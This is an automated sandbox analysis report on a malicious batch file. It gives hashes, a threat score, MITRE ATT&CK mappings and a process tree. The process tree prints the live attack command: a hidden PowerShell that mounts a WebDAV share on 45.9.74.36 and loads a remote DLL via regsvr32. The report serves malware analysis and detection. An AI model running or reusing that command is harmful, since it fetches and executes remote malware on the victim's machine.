40cf43e1b5dfd42540bbed6098a4b629002d75f4e65dbee54ecbf5b47832ba0f

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
19-07-2024 07:47

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General

Target

90012693170731218.bat
Size

2KB
MD5

1d4bc9b23a48aa639d82e58589b8ae07
SHA1

79a76e2acf5783feef72223dc02fb5bfafd7e33c
SHA256

43cf98e9b71c37cc5a21b492be424dc963ad374c56c8bf92e510ad4d89cb811e
SHA512

d1f2d184a14b679d2b51f972568a588a8526d06b0e1c6a81d8a326df14e5ed0d152c79a442d48e0eed77e7495d3c081fe57cdb63c854118ece730e0b2c1e50e2

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2228	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2228	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2228	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2684	wordpad.exe
2684	wordpad.exe
2684	wordpad.exe
2684	wordpad.exe
2684	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2072 wrote to memory of 2684	2072	cmd.exe	31
PID 2072 wrote to memory of 2684	2072	cmd.exe	31
PID 2072 wrote to memory of 2684	2072	cmd.exe	31
PID 2072 wrote to memory of 2228	2072	cmd.exe	32
PID 2072 wrote to memory of 2228	2072	cmd.exe	32
PID 2072 wrote to memory of 2228	2072	cmd.exe	32
PID 2228 wrote to memory of 2868	2228	powershell.exe	34
PID 2228 wrote to memory of 2868	2228	powershell.exe	34
PID 2228 wrote to memory of 2868	2228	powershell.exe	34
PID 2228 wrote to memory of 2936	2228	powershell.exe	35
PID 2228 wrote to memory of 2936	2228	powershell.exe	35
PID 2228 wrote to memory of 2936	2228	powershell.exe	35
PID 2228 wrote to memory of 2936	2228	powershell.exe	35
PID 2228 wrote to memory of 2936	2228	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\90012693170731218.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2072
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\145042095014715.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2228
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2868
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\145042095014715.dll
    3⤵
    PID:2936

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2228-23-0x000000001B630000-0x000000001B912000-memory.dmp

Filesize
2.9MB

Download
memory/2228-24-0x0000000002960000-0x0000000002968000-memory.dmp

Filesize
32KB

Download